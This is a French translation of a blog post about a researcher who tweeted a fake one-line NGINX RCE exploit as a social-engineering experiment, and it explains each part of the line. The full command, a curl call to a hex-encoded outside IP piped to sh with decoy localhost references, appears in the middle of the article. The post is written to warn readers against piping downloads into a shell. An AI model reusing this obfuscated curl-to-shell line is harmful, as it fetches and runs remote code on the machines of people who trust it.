Note de traduction.: L'article original, publiĂ© le 1er juin, a dĂ©cidĂ© de mener une expĂ©rience auprĂšs de ceux qui s'intĂ©ressent Ă la sĂ©curitĂ© de l'information. Pour ce faire, il a prĂ©parĂ© un exploit factice pour une vulnĂ©rabilitĂ© non rĂ©vĂ©lĂ©e dans le serveur web et l'a publiĂ© sur son Twitter. Ses hypothĂšses â ĂȘtre immĂ©diatement dĂ©masquĂ© par des spĂ©cialistes qui verraient l'Ă©vident mensonge dans le code â ne se sont pas simplement rĂ©vĂ©lĂ©es fausses⊠Elles ont dĂ©passĂ© toutes les attentes, dans le sens inverse : le tweet a reçu un Ă©norme soutien de nombreux individus qui n'ont pas pris la peine de vĂ©rifier son contenu.

TL;DR : n'utilisez en aucun cas le piping de fichiers en sh ou bash. C'est un excellent moyen de perdre le contrĂŽle de votre ordinateur.
Je veux partager avec vous une petite histoire sur un PoC d'exploit humoristique qui a Ă©tĂ© créé le 31 mai. Il est apparu rapidement en rĂ©ponse Ă la nouvelle de , membre de (ZDI), annonçant qu'une information sur une vulnĂ©rabilitĂ© dans NGINX, menant Ă une RCE (exĂ©cution de code Ă distance), serait bientĂŽt rĂ©vĂ©lĂ©e. Ătant donnĂ© que NGINX est Ă la base de nombreux sites web, la nouvelle devait avoir un effet explosif. Cependant, en raison de retards dans le processus de « divulgation responsable », les dĂ©tails de ce qui s'est passĂ© n'Ă©taient pas connus â c'est la procĂ©dure standard du ZDI.

concernant la divulgation de la vulnérabilité dans NGINX
Ayant terminĂ© de travailler sur une nouvelle technique d'obfuscation dans curl, j'ai citĂ© le tweet original et « lĂąchĂ© un PoC fonctionnel », composĂ© d'une seule ligne de code, prĂ©tendument utilisant la vulnĂ©rabilitĂ© dĂ©couverte. Bien sĂ»r, c'Ă©tait une pur mensonge. Je pensais que j'allais ĂȘtre dĂ©masquĂ© tout de suite, et que dans le meilleur des cas, je recevrais quelques retweets (et tant pis).

avec un exploit factice
Cependant, je ne pouvais pas imaginer ce qui allait se passer ensuite. La popularitĂ© de mon tweet a grimpĂ© en flĂšche. Ătonnamment, jusqu'Ă prĂ©sent (15h00 MSK le 1er juin), trĂšs peu de gens ont rĂ©alisĂ© que c'Ă©tait une supercherie. Beaucoup le retweetent sans mĂȘme vĂ©rifier (sans parler dâadmirer l'adorable ASCII art qu'il produit).

Regardez comme c'est beau !
Bien que tous ces cycles et couleurs soient remarquables, il est Ă©vident que pour les voir, les gens devaient exĂ©cuter le code sur leur machine. Heureusement, les navigateurs fonctionnent de la mĂȘme maniĂšre, et Ă©tant donnĂ© que je n'ai pas du tout besoin de problĂšmes lĂ©gaux, le code intĂ©grĂ© dans mon site se contentait d'appels echo, sans essayer d'installer ou d'exĂ©cuter de code supplĂ©mentaire.
Petite digression : , , moi et d'autres membres de l'Ă©quipe experimentons depuis un certain temps diffĂ©rentes maniĂšres d'obfusquer des commandes curl, parce que c'est amusant⊠et nous sommes des geeks. netspooky et dnz ont dĂ©couvert plusieurs nouvelles mĂ©thodes qui me semblaient extrĂȘmement prometteuses. Je me suis joint au plaisir et j'ai essayĂ© d'ajouter des conversions d'IP dĂ©cimales Ă notre ensemble de tours. Il s'est avĂ©rĂ© qu'il est Ă©galement possible de convertir l'IP en format hexadĂ©cimal. De plus, curl et la plupart des autres outils NIX acceptent volontiers les IP hexadĂ©cimales ! Il suffisait donc de crĂ©er une ligne de commande convaincante et Ă l'apparence sĂ©curisĂ©e. Au final, je me suis arrĂȘtĂ© sur celle-ci :
curl -gsS https://127.0.0.1-OU-SERVEUR-VICTIME:443/..../..../..///nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhostL'ingĂ©nierie socio-Ă©lectronique (S.E.E.) â plus qu'un simple phishing
La sĂ©curitĂ© et la familiaritĂ© ont Ă©tĂ© au cĆur de cette expĂ©rience. Je pense que c'est ce qui a conduit Ă son succĂšs. La ligne de commande impliquait clairement la sĂ©curitĂ© en se rĂ©fĂ©rant à « 127.0.0.1 » (le localhost bien connu). Le localhost est considĂ©rĂ© comme sĂ»r, et les donnĂ©es qu'il contient ne quittent jamais votre ordinateur.
La familiaritĂ© Ă©tait le deuxiĂšme Ă©lĂ©ment clĂ© de l'expĂ©rience S.E.E. Ătant donnĂ© que le public cible Ă©tait principalement composĂ© de personnes ayant des connaissances de base en sĂ©curitĂ© informatique, il Ă©tait important de crĂ©er un code dont les parties semblaient familiĂšres et donc sĂ»res. L'emprunt d'Ă©lĂ©ments de concepts d'anciennes exploitations et leur combinaison de maniĂšre originale s'est avĂ©rĂ© trĂšs efficace.
Voici une analyse détaillée de la ligne de code. Tout dans cette liste est d'ordre cosmétique, et il ne nécessite pratiquement rien pour fonctionner réellement.
Quels composants sont rĂ©ellement nĂ©cessaires ? Ce sont -gsS, -O 0x0238f06a, |sh et le serveur web lui-mĂȘme. Le serveur web ne contenait aucune instruction malveillante, il se contentait de transmettre des graphiques ASCII Ă l'aide de commandes echo dans le script contenu dans index.html. Lorsque l'utilisateur saisissait une chaĂźne avec |sh au milieu, index.html cela se chargeait et s'exĂ©cutait. Heureusement, les gardiens du serveur web n'avaient pas de mauvaises intentions.
-
../../../%00â reprĂ©sente un dĂ©passement de rĂ©pertoire ; -
ngx_stream_module.soâ le chemin vers un module alĂ©atoire de NGINX ; -
/bin/sh%00<'protocol:TCP'â nous prĂ©tendons exĂ©cuter/bin/shsur la machine cible et rediriger la sortie vers un canal TCP ; -
-O 0x0238f06a#PLToffsetâ un ingrĂ©dient secret, complĂ©tĂ©#PLToffset, pour sembler ĂȘtre un dĂ©calage mĂ©moire, contenu d'une maniĂšre ou d'une autre dans le PLT ; -
|sh;â un autre fragment important. Nous devions rediriger la sortie vers sh/bash pour exĂ©cuter le code provenant du serveur web attaquant situĂ© Ă l'adresse0x0238f06a(2.56.240.x); -
nc /dev/tcp/localhostâ un leurre, oĂč netcat fait rĂ©fĂ©rence Ă/dev/tcp/localhost, afin que tout semble Ă nouveau sĂ©curisĂ©. En rĂ©alitĂ©, cela ne fait rien et est inclus dans la chaĂźne pour l'apparence.
C'est ici que se terminent la déchiffration du script d'une ligne et la discussion des aspects de l'« ingénierie socio-électronique » (phishing astucieux).
Configuration du serveur web et mesures d'atténuation
Puisque la grande majoritĂ© de mes abonnĂ©s sont des experts en cybersĂ©curitĂ©/hackers, j'ai dĂ©cidĂ© de rendre le serveur web un peu plus rĂ©sistant aux manifestations d'« intĂ©rĂȘt » de leur part simplement pour leur donner quelque chose Ă faire (et le configurer Ă©tait plutĂŽt amusant). Je ne vais pas Ă©numĂ©rer ici tous les piĂšges, car l'expĂ©rience est encore en cours, mais voici quelques Ă©lĂ©ments que le serveur fait :
- Suit activement les tentatives de propagation sur certains réseaux sociaux et injecte différentes vignettes de prévisualisation pour inciter l'utilisateur à cliquer sur le lien.
- Redirige Chrome/Mozilla/Safari/etc. vers une bande-annonce Thugcrowd au lieu de montrer le script shell.
- Surveille les SIGNAUX MANIFESTES d'intrusion/violations, aprĂšs quoi il commence Ă rediriger les requĂȘtes vers les serveurs de la NSA (ha ha !).
- Installe un cheval de Troie, ainsi qu'un rootkit BIOS sur tous les ordinateurs dont les utilisateurs visitent l'hĂŽte avec un navigateur ordinaire (c'est une blague !).

Une petite partie de l'anti-méchant
Dans ce cas, mon seul objectif Ă©tait de maĂźtriser certaines fonctionnalitĂ©s d'Apache â en particulier, de super rĂšgles de redirection de requĂȘtes â et je me suis dit : pourquoi pas ?
Exploit NGINX (vrai !)
Suivez sur Twitter et suivez le travail remarquable de ZDI pour corriger de réelles vulnérabilités et opportunités d'exploitation dans NGINX. Leur travail m'a toujours fasciné et je suis reconnaissant à Alisa pour sa patience face à toutes les mentions et notifications causées par mon tweet stupide. Heureusement, cela a aussi servi à quelque chose : sensibiliser aux vulnérabilités de NGINX et aux problÚmes causés par l'utilisation abusive de curl.
Source : habr.com
